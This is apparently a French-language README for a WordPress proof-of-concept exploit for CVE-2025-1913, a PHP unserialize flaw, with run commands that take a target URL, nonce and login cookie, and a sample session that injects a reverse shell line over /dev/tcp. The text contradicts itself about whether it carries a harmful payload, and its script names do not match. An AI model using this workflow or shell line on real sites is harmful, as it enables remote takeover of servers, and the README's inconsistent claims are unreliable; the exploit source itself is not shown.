
Un PoC démontrant CVE-2025-1913, montrant comment la gestion non sécurisée de `unserialize` du plugin peut conduire à un comportement à fort impact dans des environnements contrôlés. Contient une charge utile nuisible réservée aux tests autorisés uniquement. À utiliser strictement dans des laboratoires isolés et pour la recherche défensive.
Ce dépôt contient une Preuve de Concept (PoC) strictement éducative pour CVE-2025-1913, créée par Suhaib518 🇸🇦. Cette PoC démontre comment des entrées PHP sérialisées spécialement conçues peuvent déclencher une logique vulnérable dans des composants WordPress affectés. La PoC est sûre et ne contient pas de charges utiles nuisibles.
⚠️ Avertissement : Cette PoC est destinée uniquement à l'apprentissage, la recherche et les tests de sécurité défensifs. Ne l'utilisez PAS sur des serveurs que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
La vulnérabilité existe en raison d'une gestion non sécurisée des données sérialisées PHP dans certains workflows de plugins WordPress. Cette PoC montre comment un attaquant pourrait fournir des structures sérialisées artificielles qui provoquent un comportement interne non souhaité.
Ce dépôt inclut un script Python qui :
.
├── CVE-2025-1913-PoC.py # Le script PoC créé par Suhaib518 KSA
└── README.md # Documentation
Le script utilise uniquement des modules Python intégrés à l'exception de requests :
pip install requests
python3 exploit.py \
-c "Class" \
-H "https://target.com" \
--wp-nonce "1234567890" \
--cookie "wordpress_logged_in=YOUR_COOKIE_HERE"
Il vous sera demandé :
Le script les sérialisera ensuite, construira une requête WordPress et l'enverra.
Ci-dessous un exemple de commande illustrant l'utilisation avec des valeurs d'exemple (elles ne sont pas malveillantes, montrent simplement le processus) :
python3 exploit.py -c "WP_User_Query" -H "https://example.com" --wp-nonce "89f1a2b3c4" --cookie "wordpress_logged_in_abc123=abcd1234efgh5678"
Exemples de réponses aux questions interactives :
[?] Combien de propriétés cette classe a-t-elle ? 2
[?] Nom de la propriété #1 : file
[?] Valeur pour 'file' : shell.sh
[?] Nom de la propriété #2 : shell
[?] Valeur pour 'shell' : sh -i >& /dev/tcp/IP/PORT 0>&1
Le script affichera alors :
[*] Envoi de la requête…
....Vérifiez l'écouteur pour le shell.
unserialize() sur des entrées non fiablesLicence MIT.
Créé par Suhaib518 🇸🇦.